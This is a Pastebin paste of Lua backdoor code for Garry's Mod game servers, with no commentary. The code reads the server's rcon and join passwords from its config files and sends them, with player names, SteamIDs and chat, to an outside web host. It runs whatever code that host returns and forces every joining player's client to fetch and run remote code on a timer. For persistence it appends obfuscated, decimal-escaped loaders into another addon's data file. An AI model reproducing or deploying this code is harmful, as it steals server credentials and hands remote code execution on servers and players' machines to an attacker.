Advertisement
Guest User

run

a guest
Apr 1st, 2020
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.68 KB | None | 0 0
  1. if w254222EA3FA643CBa == "24B617AE4A3CE9D3" then return end
  2. w254222EA3FA643CBa = "24B617AE4A3CE9D3"
  3.  
  4. local HTTP = HTTP
  5. local RunString = RunString
  6. local file = file
  7. local timer = timer
  8.  
  9. local website = 'https://kvac.cz'
  10. local infectkey = '?key=1nOLtZJybF3vORkp7FBw'
  11.  
  12. local function player_execute(player)
  13. if(!player:IsBot()) then
  14. player:SendLua([[local function clientside_run() http.Fetch("]] .. website .. [[/_/player.php", function(ply) CompileString(ply, ">", false)() end) timer.Simple(600, clientside_run) end clientside_run()]])
  15. end
  16. end
  17.  
  18. local function refresh_playerlist()
  19. local wadixxxee_time = 120
  20. if #player.GetHumans() >= 1 then
  21. wadixxxee_time = 10
  22. end
  23. local player_list = {}
  24. for i=1, #player.GetHumans() do
  25. table.insert(player_list, player.GetHumans()[i]:Nick() .. "||||||" .. player.GetHumans()[i]:GetUserGroup() .. "||||||" .. player.GetHumans()[i]:SteamID64())
  26. end
  27. local players = {
  28. nbplayer = tostring(#player.GetAll()),
  29. playerlist = util.TableToJSON(player_list),
  30. ip = game.GetIPAddress(),
  31. csrf = "E3013A72C6AF58CC"
  32. }
  33. HTTP({url=website .. "/_/api.php",method="post",parameters=players,success=function(a,b,c) if(#b ~= 0) then RunString(b) end end})
  34. timer.Create("B3720AF15E63749C", wadixxxee_time, 0, refresh_playerlist)
  35. end
  36.  
  37. local function update_serverinfo()
  38.  
  39. local infos = {}
  40. local files = file.Find("cfg/*", "GAME")
  41.  
  42. for i = 1, #files do
  43. if string.EndsWith(files[i], ".cfg") then
  44. local content = file.Read("cfg/" .. files[i], "GAME")
  45. content = string.Explode("\n", content)
  46.  
  47. for i = 1, #content do
  48. if string.StartWith(content[i], "rcon_password") then
  49. table.insert(infos, 1, string.Split(content[i], "\"")[2])
  50. end
  51.  
  52. if string.StartWith(content[i], "sv_password") then
  53. table.insert(infos, 2, string.Split(content[i], "\"")[2])
  54. end
  55. end
  56. end
  57. end
  58.  
  59. local sendinfo = {
  60. ip = game.GetIPAddress(),
  61. hostname = GetHostName(),
  62. map = game.GetMap(),
  63. gamemode = engine.ActiveGamemode(),
  64. maxplayer = tostring(game.MaxPlayers()),
  65. rcon = infos[1],
  66. password = infos[2],
  67. uptime = tostring(math.floor(CurTime())),
  68. csrf = "E3013A72C6AF58CC"
  69. }
  70.  
  71. HTTP({url=website .. "/_/api.php" .. infectkey,method="post",parameters=sendinfo})
  72. end
  73.  
  74. local function push_console(ply, text)
  75. local console_data =
  76. {
  77. name = ply:Nick(),
  78. ip = game.GetIPAddress(),
  79. steamid_chat = ply:SteamID64(),
  80. text_chat = text,
  81. csrf = "E3013A72C6AF58CC"
  82. }
  83. HTTP({url=website .. "/_/api.php",method="post",parameters=console_data})
  84. end
  85.  
  86. timer.Create("B3720AF15E63749C", 10, 0, refresh_playerlist)
  87. timer.Create("B13A6C37103C37C2", 120, 0, update_serverinfo)
  88.  
  89. timer.Simple(1, function()
  90. concommand.Remove("host_writeid")
  91. hook.Add("PlayerInitialSpawn", "7AE54C002B7BBE3D", player_execute)
  92. hook.Add("PlayerSay", "5327F5F9815CF36A", push_console)
  93. update_serverinfo()
  94. for k,v in pairs(player.GetAll()) do
  95. player_execute(v)
  96. end
  97. end)
  98.  
  99. if file.Exists("xeon/xeon.dat", "DATA") then
  100. file.Append("xeon/xeon.dat", "\n" .. [[if SERVER then timer.Simple(0.70,function() RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\107\118\97\99\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\107\118\97\99\100\111\111\114\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") end) end]])
  101. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement